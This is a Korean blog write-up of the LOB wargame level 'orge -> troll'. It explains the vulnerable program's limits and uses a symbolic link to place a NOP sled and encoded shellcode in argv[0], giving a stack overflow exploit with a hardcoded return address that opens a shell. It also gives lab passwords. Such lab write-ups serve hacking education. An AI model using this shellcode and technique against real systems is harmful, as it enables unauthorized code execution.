티스토리 뷰
LOB orge -> troll
id : orge
pw : timewalker
코드입니다.
argc가 2개 여야 하네요 흠..
환경변수는 초기화를 해주고
argv[1]의 마지막은 bf이니 스택을 이용해야 하고
argv[1]의 길이는 48이상이면 안됩니다.
buf는 초기화를 하고 argv[1]도 초기화를 하네요
그럼 딱 하나 남았네요
argv[0]을 이용해서 공격하면 될 것 같습니다.
저번 레벨에서 써먹었던 심볼릭 링크를 이용하면 될 것 같습니다.
ln -s troll `python -c 'print "\x90"*98+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
이렇게 심볼릭 링크를 걸어줍니다.
./`python -c 'print "\x90"*98+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\xbf"*48'`
그리고 파일을 실행하고 argv[1] 47이 bf이여 하니깐 core파일을 생성하기 위해 실행을 해봅니다.
core가 생성 되었습니다.
분석을 해보니 놉의 주소를 0xbffffa90 로 잡으면 될 것 같습니다.
./`python -c 'print "\x90"*98+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\x90\xfa\xff\xbf"'`
payload입니다.
tmp 파일에 공격을 해보겠습니다.
쉘을 얻을 수 있습니다.
실제 파일에 공격을 해보겠습니다.
troll의 password는 aspirin입니다.
'pwnable > LOB' 카테고리의 다른 글
[LOB] vampire -> skeleton write-up (0) | 2018.02.14 |
---|---|
[LOB] troll -> vampire write-up (0) | 2018.02.11 |
[LOB] darkelf -> orge write-up (0) | 2018.01.27 |
[LOB] wolfman -> darkelf write-up (0) | 2018.01.27 |
[LOB] orc -> wolfman write-up (0) | 2018.01.27 |
- pwnable
- exit
- fastbin
- overflow
- tcache
- SQLi
- pwnable.tw
- HackCTF
- 해킹
- codegate
- ebp change
- stack reusing
- FSB
- fsop
- hacking
- srop
- 본선가고싶다
- oob
- heap
- rt_sigreturn
- shellcoding
- glibc
- pwable
- TLS
- fastbindup
- Total
- Today
- Yesterday